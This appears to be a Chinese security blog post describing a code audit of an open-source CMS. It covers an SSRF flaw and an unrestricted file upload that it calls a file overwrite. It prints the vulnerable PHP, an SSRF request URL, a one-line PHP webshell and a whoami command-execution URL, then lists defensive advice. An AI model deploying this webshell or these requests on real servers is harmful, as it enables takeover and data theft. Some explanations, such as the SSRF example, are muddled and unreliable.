返回
代码审计实战:从CMS SSRF到文件覆盖GETSHELL
后端
2023-09-23 06:08:52
前言
某日,为了兑换一枚京东E卡,笔者将目标瞄准了某开源CMS系统。通过一番仔细的代码审计,惊喜地发现了两个高危漏洞,分别是SSRF(服务器端请求伪造)和文件覆盖导致GETSHELL。在此,笔者将详细分享本次代码审计的实战过程,希望对广大安全爱好者有所启发。
SSRF漏洞发现
在对程序源码进行分析时,笔者发现了一个可控的URL请求点,具体位置在api/update.php
文件中:
$url = $_GET['url'];
$res = file_get_contents($url);
从代码逻辑来看,该程序通过file_get_contents
函数向用户提供的URL地址发送GET请求,并返回响应内容。攻击者可以构造恶意URL,诱导服务器向内部或外部网络发起请求,从而实现SSRF攻击。
SSRF漏洞利用
基于上述发现,笔者构造了以下恶意URL:
http://127.0.0.1/api/update.php?url=http://www.example.com/sensitive.php
通过访问该URL,攻击者可以获取目标服务器上sensitive.php
文件的内容,进而窃取敏感信息。
文件覆盖漏洞发现
在审计过程中,笔者还发现了一个文件覆盖漏洞。在api/upload.php
文件中,存在如下代码:
$file = $_FILES['file'];
move_uploaded_file($file['tmp_name'], 'uploads/' . $file['name']);
这段代码允许用户上传文件并将其保存到uploads
目录下。攻击者可以上传一个与系统重要文件同名的恶意文件,覆盖原始文件,从而实现文件覆盖攻击。
文件覆盖漏洞利用
为了利用该漏洞,笔者上传了一个名为shell.php
的恶意文件,其中包含如下内容:
<?php
system($_GET['cmd']);
?>
通过访问http://127.0.0.1/uploads/shell.php?cmd=whoami
,攻击者可以在目标服务器上执行任意命令,从而获取服务器控制权。
总结
通过本次代码审计实战,笔者成功发现了两个高危漏洞,并详细介绍了漏洞利用的具体过程。这些漏洞的存在严重威胁着目标系统的安全,攻击者可以利用它们获取敏感信息、执行任意命令,甚至控制服务器。因此,及时发现并修复此类漏洞至关重要。
建议
为了加强网络安全,笔者建议采取以下措施:
- 对程序源码进行全面的安全审计,及时发现和修复漏洞。
- 使用Web应用防火墙等安全防护设备,阻断恶意请求。
- 定期更新系统和软件,修补已知的安全漏洞。
- 加强安全意识培训,提高人员安全防范意识。